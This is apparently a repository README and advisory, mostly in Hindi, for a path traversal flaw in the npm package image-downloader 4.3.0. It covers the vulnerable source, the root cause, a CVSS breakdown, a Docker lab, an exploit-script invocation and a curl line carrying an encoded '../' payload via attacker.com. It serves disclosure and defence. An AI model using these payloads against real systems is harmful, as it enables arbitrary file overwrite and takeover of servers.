
CVE-2026-103648 के लिए एडवाइज़री और PoC, जो image-downloader 4.3.0 में एक पाथ ट्रैवर्सल (CWE-22) है जो मनमानी फ़ाइल राइट की सुविधा देता है, साथ में रूट-कॉज़ विश्लेषण, पैच डिफ़, और Docker लैब।
image-downloader में पाथ ट्रैवर्सल
खोजकर्ता: Amirhossein Roustaei (@EterNullSec) — Eternull Security
📖 पूर्ण तकनीकी राइटअप: eternull.net/posts/cve-2026-103648-image-downloader-path-traversal
⚠️ केवल शैक्षिक उद्देश्यों के लिए। यह रिपॉज़िटरी एक ज़िम्मेदारीपूर्वक प्रकट की गई भेद्यता का दस्तावेज़ीकरण करती है। सभी PoC कोड केवल अधिकृत सुरक्षा अनुसंधान और पृथक लैब वातावरण में परीक्षण के लिए हैं। उन सिस्टम के विरुद्ध उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-103648 |
| NVD प्रविष्टि | nvd.nist.gov/vuln/detail/CVE-2026-103648 |
| CVSS v3.1 स्कोर | 9.1 क्रिटिकल — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-22: किसी पाथनेम को प्रतिबंधित निर्देशिका तक सीमित करने में अनुचित सीमा |
| पैकेज | image-downloader (npm) — demsking द्वारा |
| साप्ताहिक npm डाउनलोड | ~11,000 (~38,000/माह) — स्रोत |
| प्रभावित संस्करण | < 4.3.1 (4.3.0 सहित सभी संस्करण) |
| ठीक किया गया संस्करण | 4.3.1 |
| आवंटनकर्ता | GitLab |
| प्रकाशित | 2026-10-02 |
| रिपोर्टर | Amirhossein Roustaei (@EterNullSec), Eternull Security |
यह भेद्यता [email protected] के फ़ाइलनाम-निष्कर्षण लॉजिक में है। यह प्रभावित संस्करण का वास्तविक स्रोत है (index.js, सीधे प्रकाशित npm पैकेज से लिया गया):
// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
if (!options.url) {
return Promise.reject(new Error('The options.url is required'));
}
if (!options.dest) {
return Promise.reject(new Error('The options.dest is required'));
}
if (extractFilename) {
if (!path.extname(options.dest)) {
const url = new URL(options.url);
const pathname = url.pathname;
const basename = path.basename(pathname); // ❌ basename BEFORE decode
const decodedBasename = decodeURIComponent(basename); // decode happens AFTER
options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
}
}
// ...
return request(options);
};
path.basename(pathname) को अभी भी प्रतिशत-एन्कोडेड URL pathname पर कॉल किया जाता है। %2e%2e%2fpwned.sh जैसे अनुक्रम में कोई शाब्दिक / नहीं होता, इसलिए path.basename() पूरी चीज़ को एक ही फ़ाइलनाम मानता है और उसे बिना बदले लौटा देता है — कुछ भी हटाया नहीं जाता।decodeURIComponent() के माध्यम से भेजा जाता है। यही वह चरण है जो %2e%2e%2f को वापस शाब्दिक ../ में बदल देता है — लेकिन अब तक वह उस basename चरण से बच चुका होता है जिसे इसे सैनिटाइज़ करना था।path.join(options.dest, decodedBasename) को ऐसी स्ट्रिंग के साथ कॉल किया जाता है जिसमें अब एक वास्तविक ../ खंड है। path.join() .. को उसी तरह सामान्यीकृत करता है जैसे cd .. करता — इसलिए अंतिम राइट पथ options.dest के बाहर किसी स्थान पर पहुँच जाता है।संक्षेप में: कोड फ़ाइलनाम को सही तरीके से डिकोड करता है, बस path.basename() के सापेक्ष गलत क्रम में। डिकोड-फिर-basename सुरक्षित है; basename-फिर-डिकोड नहीं।
URL pathname: /%2e%2e%2fpwned.sh
basename(): "%2e%2e%2fpwned.sh" (unchanged — no literal '/')
decode: "../pwned.sh" (traversal now literal)
path.join(dest, "../pwned.sh")
→ resolves one directory ABOVE dest
Attack Vector: Network (AV:N) — remotely triggerable
Attack Complexity: Low (AC:L) — no special conditions
Privileges Required: None (PR:N) — no authentication needed
User Interaction: None (UI:N) — fully automated
Scope: Unchanged (S:U)
Confidentiality: None (C:N)
Integrity: High (I:H) — arbitrary file write
Availability: High (A:H) — overwrite critical files / DoS
यह लैब पुनरुत्पादन की सुविधा के लिए एक ही स्क्रिप्ट में बग के तंत्र को शुरू से अंत तक प्रदर्शित करती है, लेकिन वास्तविक दुनिया के आक्रमण मॉडल को स्पष्ट रूप से बताना उचित है:
image-downloader के download.image({ url, dest }) को ऐसे url मान के साथ कॉल करता है जिसे उसने स्वयं पूरी तरह नियंत्रित नहीं किया — जैसे कि उपयोगकर्ता द्वारा सबमिट किया गया URL (अवतार/छवि आयात सुविधाएँ), वेबहुक पेलोड से निकाला गया, या RSS/सामग्री फ़ीड से पढ़ा गया।url इंगित करता है, और उस URL के पथ घटक को नियंत्रित करता है — जो अपने आप में पर्याप्त है, क्योंकि ट्रैवर्सल URL पथ (%2e%2e%2f...) में निहित है, प्रतिक्रिया बॉडी में नहीं।authorized_keys फ़ाइल, या किसी ऐसी एक्ज़ीक्यूटेबल को ओवरराइट करना जिसे ऐप बाद में चलाता है)।exploit/exploit.py में, लैब की सुविधा के लिए आक्रमणकर्ता और पीड़ित की भूमिकाओं को एक ही स्क्रिप्ट में समाहित किया गया है (यह "पीड़ित" सर्वर अनुरोध और आक्रमणकर्ता-नियंत्रित पेलोड सर्वर दोनों को खड़ा करता है)। वास्तविक शोषण परिदृश्य में ये दो अलग, असंबंधित पक्ष होते हैं — PoC को इस तरह से संरचित किया गया है ताकि भेद्यता एक ही कमांड से पुनरुत्पादनीय हो सके।
git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build
The vulnerable server will be available at http://localhost:3000.
cd vulnerable-app/
npm install
node server.js
cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/
python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
या मैन्युअल रूप से curl के साथ (ट्रैवर्सल URL पथ में है, प्रतिक्रिया निकाय में नहीं):
curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"
# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt
$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1